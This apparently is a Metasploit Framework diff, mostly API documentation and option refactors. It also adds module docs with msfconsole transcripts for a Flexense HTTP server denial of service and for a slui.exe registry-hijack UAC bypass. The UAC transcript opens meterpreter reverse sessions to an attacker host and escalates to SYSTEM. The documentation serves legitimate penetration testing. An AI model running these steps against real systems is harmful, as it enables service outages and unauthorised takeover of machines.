property :fail_reason, type: :string, description: FAIL_REASON_DESC
|
||||
property :fail_detail, type: :string, description: FAIL_DETAIL_DESC
|
||||
property :module, type: :string, description: MODULE_DESC, example: MODULE_EXAMPLE
|
||||
property :username, type: :string, description: USERNAME_DESC
|
||||
end
|
||||
end
|
||||
|
||||
response 200 do
|
||||
key :description, 'Successful operation.'
|
||||
schema do
|
||||
key :type, :object
|
||||
key :'$ref', :VulnAttempt
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,140 @@
|
|||
require 'swagger/blocks'
|
||||
|
||||
module WorkspaceApiDoc
|
||||
include Swagger::Blocks
|
||||
|
||||
NAME_DESC = 'The name of the workspace. This is the unique identifier for determining which workspace is being accessed.'
|
||||
BOUNDARY_DESC = 'Comma separated list of IP ranges (in various formats) and IP addresses that users of this workspace are allowed to interact with if limit_to_network is true.'
|
||||
BOUNDARY_EXAMPLE = '10.10.1.1-50,10.10.1.100,10.10.2.0/24'
|
||||
DESCRIPTION_DESC = 'Long description that explains the purpose of this workspace.'
|
||||
OWNER_ID_DESC = 'ID of the user who owns this workspace.'
|
||||
LIMIT_TO_NETWORK_DESC = 'true to restrict the hosts and services in this workspace to the IP addresses listed in \'boundary\'.'
|
||||
IMPORT_FINGERPRINT_DESC = 'Identifier that indicates if and where this workspace was imported from.'
|
||||
|
||||
# Swagger documentation for workspaces model
|
||||
swagger_schema :Workspace do
|
||||
key :required, [:name]
|
||||
property :id, type: :integer, format: :int32, description: RootApiDoc::ID_DESC
|
||||
property :name, type: :string, description: NAME_DESC
|
||||
property :boundary, type: :string, description: BOUNDARY_DESC, example: BOUNDARY_EXAMPLE
|
||||
property :description, type: :string, description: DESCRIPTION_DESC
|
||||
property :owner_id, type: :integer, format: :int32, description: OWNER_ID_DESC
|
||||
property :limit_to_network, type: :boolean, description: LIMIT_TO_NETWORK_DESC
|
||||
property :import_fingerprint, type: :boolean, description: IMPORT_FINGERPRINT_DESC
|
||||
property :created_at, type: :string, format: :date_time, description: RootApiDoc::CREATED_AT_DESC
|
||||
property :updated_at, type: :string, format: :date_time, description: RootApiDoc::UPDATED_AT_DESC
|
||||
end
|
||||
|
||||
swagger_path '/api/v1/workspaces' do
|
||||
# Swagger documentation for /api/v1/workspaces GET
|
||||
operation :get do
|
||||
key :description, 'Return workspaces that are stored in the database.'
|
||||
key :tags, [ 'workspace' ]
|
||||
|
||||
response 200 do
|
||||
key :description, 'Returns workspace data.'
|
||||
schema do
|
||||
key :type, :array
|
||||
items do
|
||||
key :'$ref', :Workspace
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Swagger documentation for /api/v1/workspaces POST
|
||||
operation :post do
|
||||
key :description, 'Create a workspace entry.'
|
||||
key :tags, [ 'workspace' ]
|
||||
|
||||
parameter do
|
||||
key :in, :body
|
||||
key :name, :body
|
||||
key :description, 'The attributes to assign to the workspace.'
|
||||
key :required, true
|
||||
schema do
|
||||
property :name, type: :string, description: NAME_DESC
|
||||
end
|
||||
end
|
||||
|
||||
response 200 do
|
||||
key :description, 'Successful operation.'
|
||||
schema do
|
||||
key :type, :object
|
||||
key :'$ref', :Workspace
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Swagger documentation for /api/v1/workspaces/ DELETE
|
||||
operation :delete do
|
||||
key :description, 'Delete the specified workspaces.'
|
||||
key :tags, [ 'workspace' ]
|
||||
|
||||
parameter :delete_opts
|
||||
|
||||
response 200 do
|
||||
key :description, 'Successful operation.'
|
||||
schema do
|
||||
key :type, :array
|
||||
items do
|
||||
key :'$ref', :Workspace
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
swagger_path '/api/v1/workspaces/{id}' do
|
||||
# Swagger documentation for api/v1/workspaces/:id GET
|
||||
operation :get do
|
||||
key :description, 'Return specific workspace that is stored in the database.'
|
||||
key :tags, [ 'workspace' ]
|
||||
|
||||
parameter do
|
||||
key :name, :id
|
||||
key :in, :path
|
||||
key :description, 'ID of workspace to retrieve.'
|
||||
key :required, true
|
||||
key :type, :integer
|
||||
key :format, :int32
|
||||
end
|
||||
|
||||
response 200 do
|
||||
key :description, 'Returns workspace data.'
|
||||
schema do
|
||||
key :type, :array
|
||||
items do
|
||||
key :'$ref', :Workspace
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Swagger documentation for /api/v1/workspaces/:id PUT
|
||||
operation :put do
|
||||
key :description, 'Update the attributes an existing workspaces.'
|
||||
key :tags, [ 'workspace' ]
|
||||
|
||||
parameter :update_id
|
||||
|
||||
parameter do
|
||||
key :in, :body
|
||||
key :name, :body
|
||||
key :description, 'The updated attributes to overwrite to the workspace.'
|
||||
key :required, true
|
||||
schema do
|
||||
key :'$ref', :Workspace
|
||||
end
|
||||
end
|
||||
|
||||
response 200 do
|
||||
key :description, 'Successful operation.'
|
||||
schema do
|
||||
key :type, :object
|
||||
key :'$ref', :Workspace
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,67 @@
|
|||
## Description
|
||||
This module triggers a Denial of Service vulnerability in the Flexense Enterprise HTTP server. It is possible to trigger
|
||||
a write access memory vialation via rapidly sending HTTP requests with large HTTP header values.
|
||||
|
||||
|
||||
## Vulnerable Application
|
||||
According To publicly exploit Disclosure of Flexense HTTP Server v10.6.24
|
||||
Following list of softwares are vulnerable to Denial Of Service.
|
||||
read more : http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-8065
|
||||
|
||||
|
||||
DiskBoss Enterprise <= v9.0.18
|
||||
Sync Breeze Enterprise <= v10.6.24
|
||||
Disk Pulse Enterprise <= v10.6.24
|
||||
Disk Savvy Enterprise <= v10.6.24
|
||||
Dup Scout Enterprise <= v10.6.24
|
||||
VX Search Enterprise <= v10.6.24
|
||||
|
||||
|
||||
**Vulnerable Application Link**
|
||||
http://www.diskboss.com/downloads.html
|
||||
http://www.syncbreeze.com/downloads.html
|
||||
http://www.diskpulse.com/downloads.html
|
||||
http://www.disksavvy.com/downloads.html
|
||||
http://www.dupscout.com/downloads.html
|
||||
|
||||
|
||||
## Vulnerable Application Installation Setup.
|
||||
All Flexense applications that are listed above can be installed by following these steps.
|
||||
|
||||
Download Application : ```https://github.com/EgeBalci/Sync_Breeze_Enterprise_10_6_24_-DOS/raw/master/syncbreezeent_setup_v10.6.24.exe```
|
||||
|
||||
**And Follow Sync Breeze Enterprise v10.6.24 Setup Wizard**
|
||||
|
||||
After the installation navigate to: ```Options->Server```
|
||||
|
||||
Check the box saying: ```Enable web server on port:...```
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install the application
|
||||
2. Start msfconsole
|
||||
3. Do: `use auxiliary/dos/http/flexense_http_server_dos`
|
||||
4. Do: `set rport <port>`
|
||||
5. Do: `set rhost <ip>`
|
||||
6. Do: `check`
|
||||
```
|
||||
[+] 192.168.1.20:80 The target is vulnerable.
|
||||
```
|
||||
7. Do: `run`
|
||||
8. Web server will crash after 200-1000 request depending on the OS version and system memory.
|
||||
|
||||
## Scenarios
|
||||
**TESTED AGAINST WINDOWS 7/10**
|
||||
```
|
||||
msf5 > use auxiliary/dos/http/flexense_http_server_dos
|
||||
msf5 auxiliary(dos/http/flexense_http_server_dos) > set rhost 192.168.1.27
|
||||
rhost => 192.168.1.27
|
||||
msf5 auxiliary(dos/http/flexense_http_server_dos) > set rport 80
|
||||
rport => 80
|
||||
msf5 auxiliary(dos/http/flexense_http_server_dos) > run
|
||||
|
||||
[*] 192.168.1.20:80 - Triggering the vulnerability
|
||||
[+] 192.168.1.20:80 - DoS successful 192.168.1.20 is down !
|
||||
[*] Auxiliary module execution completed
|
||||
|
||||
```
|
|
@ -0,0 +1,140 @@
|
|||
## Intro
|
||||
|
||||
This module will bypass UAC on Windows 8-10 by hijacking a special key in the Registry under
|
||||
the Current User hive, and inserting a custom command that will get invoked when
|
||||
any binary (.exe) application is launched. But slui.exe is an auto-elevated binary that is
|
||||
vulnerable to file handler hijacking. When we run slui.exe with changed Registry key
|
||||
(HKCU:\Software\Classes\exefile\shell\open\command), it will run our custom command as Admin
|
||||
instead of slui.exe.
|
||||
|
||||
The module modifies the registry in order for this exploit to work. The modification is
|
||||
reverted once the exploitation attempt has finished.
|
||||
|
||||
The module does not require the architecture of the payload to match the OS. If
|
||||
specifying EXE::Custom your DLL should call ExitProcess() after starting the
|
||||
payload in a different process.
|
||||
|
||||
## Usage
|
||||
|
||||
1. First we need to obtain a session on the target system.
|
||||
2. Load module: `use exploit/windows/local/bypassuac_sluihijack`
|
||||
3. Set the `payload`: `set payload windows/x64/meterpreter/reverse_tcp`
|
||||
4. If an existing handler is configured to receive the elevated session,
|
||||
then the module's handler should be disabled: `set DisablePayloadHandler true`.
|
||||
5. Configure the `payload`.
|
||||
6. `Exploit` it.
|
||||
|
||||
## Scenario
|
||||
|
||||
```
|
||||
msf exploit(multi/handler) >
|
||||
[*] https://192.168.0.30:443 handling request from 192.168.0.33; (UUID: d4iywkip) Encoded stage with x86/shikata_ga_nai
|
||||
[*] https://192.168.0.30:443 handling request from 192.168.0.33; (UUID: d4iywkip) Staging x86 payload (180854 bytes) ...
|
||||
[*] Meterpreter session 1 opened (192.168.0.30:443 -> 192.168.0.33:49875) at 2018-04-07 18:33:11 +0200
|
||||
|
||||
msf exploit(multi/handler) > sessions
|
||||
|
||||
Active sessions
|
||||
===============
|
||||
|
||||
Id Name Type Information Connection
|
||||
-- ---- ---- ----------- ----------
|
||||
1 meterpreter x86/windows WIN10-01\user01 @ WIN10-01 192.168.0.30:443 -> 192.168.0.33:49875 (192.168.0.33)
|
||||
|
||||
msf exploit(multi/handler) > sessions 1
|
||||
[*] Starting interaction with 1...
|
||||
|
||||
meterpreter > sysinfo
|
||||
Computer : WIN10-01
|
||||
OS : Windows 10 (Build 16299).
|
||||
Architecture : x64
|
||||
System Language : en_US
|
||||
Domain : WORKGROUP
|
||||
Logged On Users : 2
|
||||
Meterpreter : x86/windows
|
||||
meterpreter > getuid
|
||||
Server username: WIN10-01\user01
|
||||
meterpreter > getprivs
|
||||
|
||||
Enabled Process Privileges
|
||||
==========================
|
||||
|
||||
Name
|
||||
----
|
||||
SeChangeNotifyPrivilege
|
||||
SeIncreaseWorkingSetPrivilege
|
||||
SeShutdownPrivilege
|
||||
SeTimeZonePrivilege
|
||||
SeUndockPrivilege
|
||||
|
||||
meterpreter > background
|
||||
[*] Backgrounding session 1...
|
||||
msf exploit(multi/handler) > use exploit/windows/local/bypassuac_sluihijack
|
||||
msf exploit(windows/local/bypassuac_sluihijack) > show targets
|
||||
|
||||
Exploit targets:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
0 Windows x86
|
||||
1 Windows x64
|
||||
|
||||
|
||||
msf exploit(windows/local/bypassuac_sluihijack) > set target 1
|
||||
target => 1
|
||||
msf exploit(windows/local/bypassuac_sluihijack) > set payload windows/x64/meterpreter/reverse_https
|
||||
payload => windows/x64/meterpreter/reverse_https
|
||||
msf exploit(windows/local/bypassuac_sluihijack) > set session 1
|
||||
session => 1
|
||||
msf exploit(windows/local/bypassuac_sluihijack) > set LHOST 192.168.0.30
|
||||
LHOST => 192.168.0.30
|
||||
msf exploit(windows/local/bypassuac_sluihijack) > exploit
|
||||
|
||||
[*] Started HTTPS reverse handler on https://192.168.0.30:8443
|
||||
[*] UAC is Enabled, checking level...
|
||||
[+] Part of Administrators group! Continuing...
|
||||
[+] UAC is set to Default
|
||||
[+] BypassUAC can bypass this setting, continuing...
|
||||
[*] Configuring payload and stager registry keys ...
|
||||
[*] Executing payload: C:\Windows\Sysnative\cmd.exe /c powershell Start-Process C:\Windows\System32\slui.exe -Verb runas
|
||||
[*] https://192.168.0.30:8443 handling request from 192.168.0.33; (UUID: znqja6ua) Staging x64 payload (207449 bytes) ...
|
||||
[*] Meterpreter session 2 opened (192.168.0.30:8443 -> 192.168.0.33:49881) at 2018-04-07 18:34:39 +0200
|
||||
[*] Cleaining up registry keys ...
|
||||
|
||||
meterpreter > getprivs
|
||||
|
||||
Enabled Process Privileges
|
||||
==========================
|
||||
|
||||
Name
|
||||
----
|
||||
SeBackupPrivilege
|
||||
SeChangeNotifyPrivilege
|
||||
SeCreateGlobalPrivilege
|
||||
SeCreatePagefilePrivilege
|
||||
SeCreateSymbolicLinkPrivilege
|
||||
SeDebugPrivilege
|
||||
SeImpersonatePrivilege
|
||||
SeIncreaseBasePriorityPrivilege
|
||||
SeIncreaseQuotaPrivilege
|
||||
SeIncreaseWorkingSetPrivilege
|
||||
SeLoadDriverPrivilege
|
||||
SeManageVolumePrivilege
|
||||
SeProfileSingleProcessPrivilege
|
||||
SeRemoteShutdownPrivilege
|
||||
SeRestorePrivilege
|
||||
SeSecurityPrivilege
|
||||
SeShutdownPrivilege
|
||||
SeSystemEnvironmentPrivilege
|
||||
SeSystemProfilePrivilege
|
||||
SeSystemtimePrivilege
|
||||
SeTakeOwnershipPrivilege
|
||||
SeTimeZonePrivilege
|
||||
SeUndockPrivilege
|
||||
|
||||
meterpreter > getsystem
|
||||
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
|
||||
meterpreter > getuid
|
||||
Server username: NT AUTHORITY\SYSTEM
|
||||
meterpreter >
|
||||
```
|
|
@ -24,7 +24,7 @@ def initialize(info = {})
|
|||
super
|
||||
|
||||
register_options([
|
||||
OptAddressRange.new('RHOSTS', [ true, "The target address range or CIDR identifier"]),
|
||||
Opt::RHOSTS,
|
||||
OptBool.new('NMAP_VERBOSE', [ false, 'Display nmap output', true]),
|
||||
OptString.new('RPORTS', [ false, 'Ports to target']), # RPORT supersedes RPORTS
|
||||
], Auxiliary::Nmap)
|
||||
|
|
|
@ -17,6 +17,7 @@ def initialize(info = {})
|
|||
super
|
||||
|
||||
register_options([
|
||||
Opt::RHOSTS,
|
||||
OptInt.new('THREADS', [ true, "The number of concurrent threads", 1 ] )
|
||||
], Auxiliary::Scanner)
|
||||
|
||||
|
|
|
@ -167,7 +167,7 @@ module Msf::DBManager::Host
|
|||
# +:os_flavor+:: -- something like "Enterprise", "Pro", or "Home"
|
||||
# +:os_sp+:: -- something like "SP2"
|
||||
# +:os_lang+:: -- something like "English", "French", or "en-US"
|
||||
# +:arch+:: -- one of the ARCH_* constants
|
||||
# +:arch+:: -- one of the ARCHITECTURES listed in metasploit_data_models/app/models/mdm/host.rb
|
||||
# +:mac+:: -- the host's MAC address
|
||||
# +:scope+:: -- interface identifier for link-local IPv6
|
||||
# +:virtual_host+:: -- the name of the virtualization software, eg "VMWare", "QEMU", "Xen", "Docker", etc.
|
||||
|
|
Binary file not shown.
After Width: | Height: | Size: 445 B |
Binary file not shown.
After Width: | Height: | Size: 1.1 KiB |
|
@ -0,0 +1,61 @@
|
|||
<!-- HTML for static distribution bundle build -->
|
||||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
<title>Metasploit API Documentation</title>
|
||||
<link href="https://fonts.googleapis.com/css?family=Open+Sans:400,700|Source+Code+Pro:300,600|Titillium+Web:400,600,700" rel="stylesheet">
|
||||
<link rel="stylesheet" type="text/css" href="./swagger-ui.css" >
|
||||
<link rel="icon" type="image/png" href="./favicon-32x32.png" sizes="32x32" />
|
||||
<link rel="icon" type="image/png" href="./favicon-16x16.png" sizes="16x16" />
|
||||
<style>
|
||||
html
|
||||
{
|
||||
box-sizing: border-box;
|
||||
overflow: -moz-scrollbars-vertical;
|
||||
overflow-y: scroll;
|
||||
}
|
||||
|
||||
*,
|
||||
*:before,
|
||||
*:after
|
||||
{
|
||||
box-sizing: inherit;
|
||||
}
|
||||
|
||||
body
|
||||
{
|
||||
margin:0;
|
||||
background: #fafafa;
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
|
||||
<body>
|
||||
<div id="swagger-ui"></div>
|
||||
|
||||
<script src="./swagger-ui-bundle.js"> </script>
|
||||
<script src="./swagger-ui-standalone-preset.js"> </script>
|
||||
<script>
|
||||
window.onload = function() {
|
||||
|
||||
// Build a system
|
||||
const ui = SwaggerUIBundle({
|
||||
url: "http://petstore.swagger.io/v2/swagger.json",
|
||||
dom_id: '#swagger-ui',
|
||||
deepLinking: true,
|
||||
presets: [
|
||||
SwaggerUIBundle.presets.apis,
|
||||
SwaggerUIStandalonePreset
|
||||
],
|
||||
plugins: [
|
||||
SwaggerUIBundle.plugins.DownloadUrl
|
||||
],
|
||||
layout: "StandaloneLayout"
|
||||
})
|
||||
|
||||
window.ui = ui
|
||||
}
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
|
@ -0,0 +1,67 @@
|
|||
<!doctype html>
|
||||
<html lang="en-US">
|
||||
<body onload="run()">
|
||||
</body>
|
||||
</html>
|
||||
<script>
|
||||
'use strict';
|
||||
function run () {
|
||||
var oauth2 = window.opener.swaggerUIRedirectOauth2;
|
||||
var sentState = oauth2.state;
|
||||
var redirectUrl = oauth2.redirectUrl;
|
||||
var isValid, qp, arr;
|
||||
|
||||
if (/code|token|error/.test(window.location.hash)) {
|
||||
qp = window.location.hash.substring(1);
|
||||
} else {
|
||||
qp = location.search.substring(1);
|
||||
}
|
||||
|
||||
arr = qp.split("&")
|
||||
arr.forEach(function (v,i,_arr) { _arr[i] = '"' + v.replace('=', '":"') + '"';})
|
||||
qp = qp ? JSON.parse('{' + arr.join() + '}',
|
||||
function (key, value) {
|
||||
return key === "" ? value : decodeURIComponent(value)
|
||||
}
|
||||
) : {}
|
||||
|
||||
isValid = qp.state === sentState
|
||||
|
||||
if ((
|
||||
oauth2.auth.schema.get("flow") === "accessCode"||
|
||||
oauth2.auth.schema.get("flow") === "authorizationCode"
|
||||
) && !oauth2.auth.code) {
|
||||
if (!isValid) {
|
||||
oauth2.errCb({
|
||||
authId: oauth2.auth.name,
|
||||
source: "auth",
|
||||
level: "warning",
|
||||
message: "Authorization may be unsafe, passed state was changed in server Passed state wasn't returned from auth server"
|
||||
});
|
||||
}
|
||||
|
||||
if (qp.code) {
|
||||
delete oauth2.state;
|
||||
oauth2.auth.code = qp.code;
|
||||
oauth2.callback({auth: oauth2.auth, redirectUrl: redirectUrl});
|
||||
} else {
|
||||
let oauthErrorMsg
|
||||
if (qp.error) {
|
||||
oauthErrorMsg = "["+qp.error+"]: " +
|
||||
(qp.error_description ? qp.error_description+ ". " : "no accessCode received from the server. ") +
|
||||
(qp.error_uri ? "More info: "+qp.error_uri : "");
|
||||
}
|
||||
|
||||
oauth2.errCb({
|
||||
authId: oauth2.auth.name,
|
||||
source: "auth",
|
||||
level: "error",
|
||||
message: oauthErrorMsg || "[Authorization failed]: no accessCode received from the server"
|
||||
});
|
||||
}
|
||||
} else {
|
||||
oauth2.callback({auth: oauth2.auth, token: qp, isValid: isValid, redirectUrl: redirectUrl});
|
||||
}
|
||||
window.close();
|
||||
}
|
||||
</script>
|
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
|
@ -0,0 +1 @@
|
|||
{"version":3,"sources":[],"names":[],"mappings":"","file":"swagger-ui.css","sourceRoot":""}
|
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
|
@ -0,0 +1,64 @@
|
|||
require 'swagger/blocks'
|
||||
load 'documentation/api/v1/root_api_doc.rb'
|
||||
load 'documentation/api/v1/credential_api_doc.rb'
|
||||
load 'documentation/api/v1/db_export_api_doc.rb'
|
||||
load 'documentation/api/v1/event_api_doc.rb'
|
||||
load 'documentation/api/v1/exploit_api_doc.rb'
|
||||
load 'documentation/api/v1/host_api_doc.rb'
|
||||
load 'documentation/api/v1/loot_api_doc.rb'
|
||||
load 'documentation/api/v1/msf_api_doc.rb'
|
||||
load 'documentation/api/v1/nmap_api_doc.rb'
|
||||
load 'documentation/api/v1/note_api_doc.rb'
|
||||
load 'documentation/api/v1/service_api_doc.rb'
|
||||
load 'documentation/api/v1/session_api_doc.rb'
|
||||
load 'documentation/api/v1/session_event_api_doc.rb'
|
||||
load 'documentation/api/v1/vuln_api_doc.rb'
|
||||
load 'documentation/api/v1/vuln_attempt_api_doc.rb'
|
||||
load 'documentation/api/v1/workspace_api_doc.rb'
|
||||
|
||||
|
||||
module ApiDocsServlet
|
||||
include Swagger::Blocks
|
||||
|
||||
def self.json_path
|
||||
'/api/v1/api-docs.json'
|
||||
end
|
||||
|
||||
def self.html_path
|
||||
'/api/v1/api-docs'
|
||||
end
|
||||
|
||||
def self.registered(app)
|
||||
app.get ApiDocsServlet.json_path, &get_api_docs
|
||||
app.get ApiDocsServlet.html_path do
|
||||
erb :api_docs
|
||||
end
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
def self.get_api_docs
|
||||
lambda {
|
||||
swaggered_classes = [
|
||||
RootApiDoc,
|
||||
CredentialApiDoc,
|
||||
DbExportApiDoc,
|
||||
EventApiDoc,
|
||||
ExploitApiDoc,
|
||||
HostApiDoc,
|
||||
LootApiDoc,
|
||||
MsfApiDoc,
|
||||
NmapApiDoc,
|
||||
NoteApiDoc,
|
||||
ServiceApiDoc,
|
||||
SessionApiDoc,
|
||||
SessionEventApiDoc,
|
||||
VulnApiDoc,
|
||||
VulnAttemptApiDoc,
|
||||
WorkspaceApiDoc
|
||||
].freeze
|
||||
json = Swagger::Blocks.build_root_json(swaggered_classes)
|
||||
set_json_response(json, [])
|
||||
}
|
||||
end
|
||||
end
|
|
@ -17,6 +17,8 @@ module CredentialServlet
|
|||
lambda {
|
||||
begin
|
||||
opts = parse_json_request(request, false)
|
||||
sanitized_params = sanitize_params(params)
|
||||
opts.merge!(sanitized_params)
|
||||
data = get_db().creds(opts)
|
||||
includes = [:logins, :public, :private, :realm]
|
||||
# Need to append the human attribute into the private sub-object before converting to json
|
||||
|
|
|
@ -21,6 +21,11 @@ module ServletHelper
|
|||
[200, headers, to_json(data, includes)]
|
||||
end
|
||||
|
||||
def set_html_response(data)
|
||||
headers = {'Content-Type' => 'text/html'}
|
||||
[200, headers, data]
|
||||
end
|
||||
|
||||
def parse_json_request(request, strict = false)
|
||||
body = request.body.read
|
||||
if (body.nil? || body.empty?)
|
||||
|
|
|
@ -1,5 +1,7 @@
|
|||
require 'sinatra/base'
|
||||
require 'swagger/blocks'
|
||||
require 'msf/core/db_manager/http/servlet_helper'
|
||||
require 'msf/core/db_manager/http/servlet/api_docs_servlet'
|
||||
require 'msf/core/db_manager/http/servlet/host_servlet'
|
||||
require 'msf/core/db_manager/http/servlet/note_servlet'
|
||||
require 'msf/core/db_manager/http/servlet/vuln_servlet'
|
||||
|
@ -18,10 +20,10 @@ require 'msf/core/db_manager/http/servlet/db_export_servlet'
|
|||
require 'msf/core/db_manager/http/servlet/vuln_attempt_servlet'
|
||||
|
||||
class SinatraApp < Sinatra::Base
|
||||
|
||||
helpers ServletHelper
|
||||
|
||||
# Servlet registration
|
||||
register ApiDocsServlet
|
||||
register HostServlet
|
||||
register VulnServlet
|
||||
register EventServlet
|
||||
|
|
|
@ -0,0 +1,90 @@
|
|||
<!-- HTML for static distribution bundle build -->
|
||||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
<title>Metasploit API Documentation</title>
|
||||
<link href="https://fonts.googleapis.com/css?family=Open+Sans:400,700|Source+Code+Pro:300,600|Titillium+Web:400,600,700" rel="stylesheet">
|
||||
<link rel="stylesheet" type="text/css" href="/swagger-ui.css" >
|
||||
<link rel="icon" type="image/png" href="/favicon-32x32.png" sizes="32x32" />
|
||||
<link rel="icon" type="image/png" href="/favicon-16x16.png" sizes="16x16" />
|
||||
<style>
|
||||
html
|
||||
{
|
||||
box-sizing: border-box;
|
||||
overflow: -moz-scrollbars-vertical;
|
||||
overflow-y: scroll;
|
||||
}
|
||||
*,
|
||||
*:before,
|
||||
*:after
|
||||
{
|
||||
box-sizing: inherit;
|
||||
}
|
||||
|
||||
body {
|
||||
margin:0;
|
||||
background: #fafafa;
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
|
||||
<body>
|
||||
|
||||
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" style="position:absolute;width:0;height:0">
|
||||
<defs>
|
||||
<symbol viewBox="0 0 20 20" id="unlocked">
|
||||
<path d="M15.8 8H14V5.6C14 2.703 12.665 1 10 1 7.334 1 6 2.703 6 5.6V6h2v-.801C8 3.754 8.797 3 10 3c1.203 0 2 .754 2 2.199V8H4c-.553 0-1 .646-1 1.199V17c0 .549.428 1.139.951 1.307l1.197.387C5.672 18.861 6.55 19 7.1 19h5.8c.549 0 1.428-.139 1.951-.307l1.196-.387c.524-.167.953-.757.953-1.306V9.199C17 8.646 16.352 8 15.8 8z"></path>
|
||||
</symbol>
|
||||
|
||||
<symbol viewBox="0 0 20 20" id="locked">
|
||||
<path d="M15.8 8H14V5.6C14 2.703 12.665 1 10 1 7.334 1 6 2.703 6 5.6V8H4c-.553 0-1 .646-1 1.199V17c0 .549.428 1.139.951 1.307l1.197.387C5.672 18.861 6.55 19 7.1 19h5.8c.549 0 1.428-.139 1.951-.307l1.196-.387c.524-.167.953-.757.953-1.306V9.199C17 8.646 16.352 8 15.8 8zM12 8H8V5.199C8 3.754 8.797 3 10 3c1.203 0 2 .754 2 2.199V8z"/>
|
||||
</symbol>
|
||||
|
||||
<symbol viewBox="0 0 20 20" id="close">
|
||||
<path d="M14.348 14.849c-.469.469-1.229.469-1.697 0L10 11.819l-2.651 3.029c-.469.469-1.229.469-1.697 0-.469-.469-.469-1.229 0-1.697l2.758-3.15-2.759-3.152c-.469-.469-.469-1.228 0-1.697.469-.469 1.228-.469 1.697 0L10 8.183l2.651-3.031c.469-.469 1.228-.469 1.697 0 .469.469.469 1.229 0 1.697l-2.758 3.152 2.758 3.15c.469.469.469 1.229 0 1.698z"/>
|
||||
</symbol>
|
||||
|
||||
<symbol viewBox="0 0 20 20" id="large-arrow">
|
||||
<path d="M13.25 10L6.109 2.58c-.268-.27-.268-.707 0-.979.268-.27.701-.27.969 0l7.83 7.908c.268.271.268.709 0 .979l-7.83 7.908c-.268.271-.701.27-.969 0-.268-.269-.268-.707 0-.979L13.25 10z"/>
|
||||
</symbol>
|
||||
|
||||
<symbol viewBox="0 0 20 20" id="large-arrow-down">
|
||||
<path d="M17.418 6.109c.272-.268.709-.268.979 0s.271.701 0 .969l-7.908 7.83c-.27.268-.707.268-.979 0l-7.908-7.83c-.27-.268-.27-.701 0-.969.271-.268.709-.268.979 0L10 13.25l7.418-7.141z"/>
|
||||
</symbol>
|
||||
|
||||
|
||||
<symbol viewBox="0 0 24 24" id="jump-to">
|
||||
<path d="M19 7v4H5.83l3.58-3.59L8 6l-6 6 6 6 1.41-1.41L5.83 13H21V7z"/>
|
||||
</symbol>
|
||||
|
||||
<symbol viewBox="0 0 24 24" id="expand">
|
||||
<path d="M10 18h4v-2h-4v2zM3 6v2h18V6H3zm3 7h12v-2H6v2z"/>
|
||||
</symbol>
|
||||
|
||||
</defs>
|
||||
</svg>
|
||||
|
||||
<div id="swagger-ui"></div>
|
||||
|
||||
<script src="/swagger-ui-bundle.js"> </script>
|
||||
<script src="/swagger-ui-standalone-preset.js"> </script>
|
||||
<script>
|
||||
window.onload = function() {
|
||||
// Build a system
|
||||
const ui = SwaggerUIBundle({
|
||||
url: "/api/v1/api-docs.json",
|
||||
dom_id: '#swagger-ui',
|
||||
presets: [
|
||||
SwaggerUIBundle.presets.apis,
|
||||
SwaggerUIStandalonePreset
|
||||
],
|
||||
layout: "StandaloneLayout"
|
||||
})
|
||||
|
||||
window.ui = ui
|
||||
}
|
||||
</script>
|
||||
</body>
|
||||
|
||||
</html>
|
|
@ -48,11 +48,13 @@ module Msf::DBManager::Service
|
|||
# +:host+:: the host where this service is running
|
||||
# +:port+:: the port where this service listens
|
||||
# +:proto+:: the transport layer protocol (e.g. tcp, udp)
|
||||
# +:workspace+:: the workspace for the service
|
||||
#
|
||||
# opts may contain
|
||||
# +:name+:: the application layer protocol (e.g. ssh, mssql, smb)
|
||||
# +:sname+:: an alias for the above
|
||||
# +:workspace+:: the workspace for the service
|
||||
# +:info+:: Detailed information about the service such as name and version information
|
||||
# +:state+:: The current listening state of the service (one of: open, closed, filtered, unknown)
|
||||
#
|
||||
def report_service(opts)
|
||||
return if !active
|
||||
|
|
|
@ -25,8 +25,8 @@ module Msf
|
|||
Msf::OptPort.new(__method__.to_s, [ required, desc, default ])
|
||||
end
|
||||
|
||||
# @return [OptAddress]
|
||||
def self.LHOST(default=nil, required=true, desc="The listen address")
|
||||
# @return [OptAddressLocal]
|
||||
def self.LHOST(default=nil, required=true, desc="The listen address (an interface may be specified)")
|
||||
Msf::OptAddressLocal.new(__method__.to_s, [ required, desc, default ])
|
||||
end
|
||||
|
||||
|
@ -40,8 +40,12 @@ module Msf
|
|||
Msf::OptString.new(__method__.to_s, [ required, desc, default ])
|
||||
end
|
||||
|
||||
# @return [OptAddress]
|
||||
def self.RHOST(default=nil, required=true, desc="The target address")
|
||||
# @return [OptAddressRange]
|
||||
def self.RHOSTS(default=nil, required=true, desc="The target address range or CIDR identifier")
|
||||
Msf::OptAddressRange.new('RHOSTS', [ required, desc, default ])
|
||||
end
|
||||
|
||||
def self.RHOST(default=nil, required=true, desc="The target address range or CIDR identifier")
|
||||
Msf::OptAddressRange.new('RHOSTS', [ required, desc, default ], aliases: [ 'RHOST' ])
|
||||
end
|
||||
|
||||
|
@ -107,6 +111,7 @@ module Msf
|
|||
LPORT = LPORT()
|
||||
Proxies = Proxies()
|
||||
RHOST = RHOST()
|
||||
RHOSTS = RHOSTS()
|
